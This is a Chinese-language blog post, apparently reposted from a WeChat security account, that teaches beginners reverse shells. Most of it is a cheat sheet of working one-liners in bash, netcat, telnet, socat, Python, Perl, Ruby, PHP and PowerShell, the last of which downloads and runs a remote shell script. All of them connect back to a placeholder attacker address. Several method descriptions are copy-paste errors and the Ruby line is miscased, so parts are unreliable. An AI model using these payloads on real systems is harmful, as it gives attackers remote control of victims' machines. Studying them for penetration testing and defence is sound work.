渗透测试中反弹shell常用的几种姿势

admin 2025年2月8日11:05:13评论22 views字数 2409阅读8分1秒阅读模式

本篇文章旨在为网络安全初学者介绍反弹shell。通过阅读本文,读者将能够对反弹shell以及其常用方法有一个初步的了解

一、前言

1、什么是反弹shell

反弹Shell(Reverse Shell),是一种网络安全概念,指的是攻击者通过特定的技术手段,使得受害者能够主动与攻击者建立连接,从而实现远程控制的目标系统。这种技术通常用于渗透测试和安全研究,但在非法环境中,它可能被用来窃取敏感信息或执行恶意代码。

2、反弹shell的概念

反弹Shell的核心在于“角色反转”,即原本的控制端和被控端的角色互换。在这种模式下,攻击者(控制端)监听一个TCP/UDP端口,而受害者(被控端)主动发起请求到这个端口,并将命令行的输入输出转发到攻击者处。这种方式允许攻击者在不直接访问目标系统的情况下,实现对目标系统的完全控制。

3、反弹shell的作用原理

反弹Shell的实现依赖于Linux文件描述符的重定向机制。通过特定的命令和工具,攻击者可以在监听端口的同时,创建一个交互式的Shell,使得受害者可以通过这个Shell执行任何命令,并将输出返回给攻击者。这种机制使得攻击者可以绕过防火墙和其他安全限制,实现对目标系统的远程控制。

二、Bash反弹

● 方法:利用Bash的特殊设备/dev/tcp建立TCP连接。
● 示例:

# 攻击者主机上执行监听
nc -lvvp 4444

# 目标主机上执行,其中x.x.x.x代表IP
bash -i >& /dev/tcp/x.x.x.x/4444 0>&1

三、Netcat反弹

● 方法:利用Bash的特殊设备/dev/tcp建立TCP连接。
● 示例:

# 攻击者主机上执行监听
nc -lvvp 4444

# 目标主机上执行:,其中x.x.x.x代表IP
nc -e /bin/bash x.x.x.x 4444

四、Telnet反弹

● 方法:利用Bash的特殊设备/dev/tcp建立TCP连接。
● 示例:

# 攻击者主机上打开两个终端分别执行监听
nc -lvvp 4444 和 nc -lvvp 5555
# 目标主机中执行,其中x.x.x.x代表IP
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

五、Socat反弹

● 方法:使用Socat工具进行反弹。
● 示例:

# 攻击者主机上执行监听
socat tcp-listen:4444,fork -

# 目标主机上执行,其中x.x.x.x代表IP
socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane

六、Python反弹

● 方法:使用Socat工具进行反弹。
● 示例:

# 目标主机上执行:,其中x.x.x.x代表IP

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("x.x.x.x",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/bash","-i"]);'

七、Perl反弹

● 方法:使用Perl脚本创建socket连接。
● 示例:

# 目标主机上执行:,其中x.x.x.x代表IP

perl -e 'use Socket;# 
$i="x.x.x.x";
$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

八、Ruby反弹

● 方法:使用Perl脚本创建socket连接。
● 示例:

# 目标主机上执行:,其中x.x.x.x代表IP
ruby -rsocket -e 'c=tcpsocket.new("x.x.x.x","4444");while(cmd=c.gets);io.popen(cmd,"r"){|io|c.print io.read}end'

九、PHP反弹

● 方法:使用PHP脚本创建socket连接。
● 示例:

# 目标主机上执行(假设有web服务器权限),其中x.x.x.x代表IP
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'

十、PowerShell反弹(Windows环境)

● 方法:使用PHP脚本创建socket连接。
● 示例:

# 攻击者主机上执行监听
nc -lvvp 4444

# 目标主机上执行,其中x.x.x.x代表IP
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -port 4444

声明

来自本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他用途!!!

原文始发于微信公众号(泷羽SEC-ohh):渗透测试中反弹shell常用的几种姿势

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月8日11:05:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试中反弹shell常用的几种姿势https://cn-sec.com/archives/3713795.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息